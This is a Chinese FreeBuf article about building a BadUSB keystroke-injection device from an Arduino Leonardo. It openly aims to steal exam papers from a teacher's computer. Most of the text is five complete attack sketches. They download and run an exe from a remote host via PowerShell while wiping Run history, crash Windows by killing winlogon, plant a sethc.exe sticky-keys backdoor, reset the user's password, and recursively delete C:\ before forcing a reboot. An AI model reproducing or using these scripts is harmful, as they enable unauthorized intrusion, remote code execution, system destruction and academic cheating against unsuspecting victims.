本文内容带有一定的攻击性,仅供学习交流使用,严禁用于非法用途
临近期末考试了,利用烧鹅配合一个简单的木马程序其实可以轻松的从老师的电脑里拿到考卷甚至答案,可惜太贵了,偶然间发现有人用Arduino Leonardo也可以实现类似的功能,而且价格低廉,于是就有了下文。
0×01 关于HID
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
0×02 Arduino Leonardo
笔者从网上买到一个小型的arduino leonardo自带外壳,简直就是用来攻击的神器啊。
Arduino Leonardo是基于ATmega32u4一个微控制器板。它有20个数字输入/输出引脚(其中7个可用于PWM输出、12个可用于模拟输入),一个16 MHz的晶体振荡器,一个Micro USB接口,一个DC接口,一个ICSP接口,一个复位按钮。它包含了支持微控制器所需的一切,你可以简单地通过把它连接到计算机的USB接口,或者使用AC-DC适配器,再或者用电池来驱动它。Leonardo不同于之前所有的arduino控制器,他直接使用了ATmega32u4的USB通信功能,取消了USB转UART芯片。这使得Leonardo不仅可以作为一个虚拟的(CDC)串行/ COM端口,还可以作为鼠标或者键盘连接到计算机。它还有很多不同的地方,我们会在入门页面中介绍。
[简单的说就是可以像按键精灵玩耍,相当于一插上电脑就执行一个案件精灵的脚本一样。]
0×03 正文
笔者其实对硬件方面不太懂,其实就是个脚本小子。所以学习起来比较费劲。
对此研究也一番后,被输入法的问题困扰许久,研究许久也找到了一个猥琐的解决办法,那就是通过开大写小的方法来解决[具体请见代码]。
输入法问题:我们不能判断对方系统默认输入法是中文还是英文,但是我们所有的情况下都要输入英文怎么办呢?按Shift?如果对方已经是英文输入法按下shift就会又切回中文了,所以这不是一个好方法,但是我想到了一个猥琐的方法,大部分人不会默认把大写开着,所以这里用大写输入法,输出小写的字母。
那么需要Get到答案这时候其实只需要PowerShell下载代码配合一个生成好的简易的Ftp上传病毒即可。
附上代码:
1.PowerShellDownload ( 支持Win7/Win8,实现窗口最小化下载运行exe文件,这样都不会有小黑窗,感觉比较安全,通过大写的方式绕过输入法.)
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN REG DELETE hkcu//sOFTWARE//mICROSOFT//wINDOWS//cURRENTvERSION//eXPLORER//rUNmru /F&CMD /C START /MIN POWERSHELL $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.dOWNLOADfILE('HTTP://192.168.1.103/X.EXE', 'c://X.EXE');START c://X.EXE;EXIT"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN CMD /C REG DELETE hkcu//sOFTWARE//mICROSOFT//wINDOWS//cURRENTvERSION//eXPLORER//rUNmru /F&CMD /C START /MIN CMD /C NTSD -C Q -PN WINLOGON.EXE 1>NUL 2>NUL&TASKKILL /F /IM WININIT.EXE 2>NUL"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
void setup() {//初始化 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN REG DELETE hkcu//sOFTWARE//mICROSOFT//wINDOWS//cURRENTvERSION//eXPLORER//rUNmru /F&TAKEOWN /F %sYSTEMrOOT%//SYSTEM32//SETHC.EXE&ECHO Y|CACLS %sYSTEMrOOT%//SYSTEM32//SETHC.EXE /g %username%:f© C://WINDOWS//SYSTEM32//CMD.EXE C://WINDOWS//SYSTEM32//SETHC.EXE /y"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD.EXE /C REG DELETE hkcu//sOFTWARE//mICROSOFT//wINDOWS//cURRENTvERSION//eXPLORER//rUNmru /F&NET USER %USERNAME% HACKED&EXIT"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN REG DELETE hkcu//sOFTWARE//mICROSOFT//wINDOWS//cURRENTvERSION//eXPLORER//rUNmru /F© C://WINDOWS//SYSTEM32//SHUTDOWN.EXE D://SHUTDOWN.EXE /y&DEL /S /F /Q C://*&D://SHUTDOWN.EXE -R -F -T 0") Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
提示(代码仅供学习交流使用,严禁用于非法用途):
*作者:mrzcpo,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)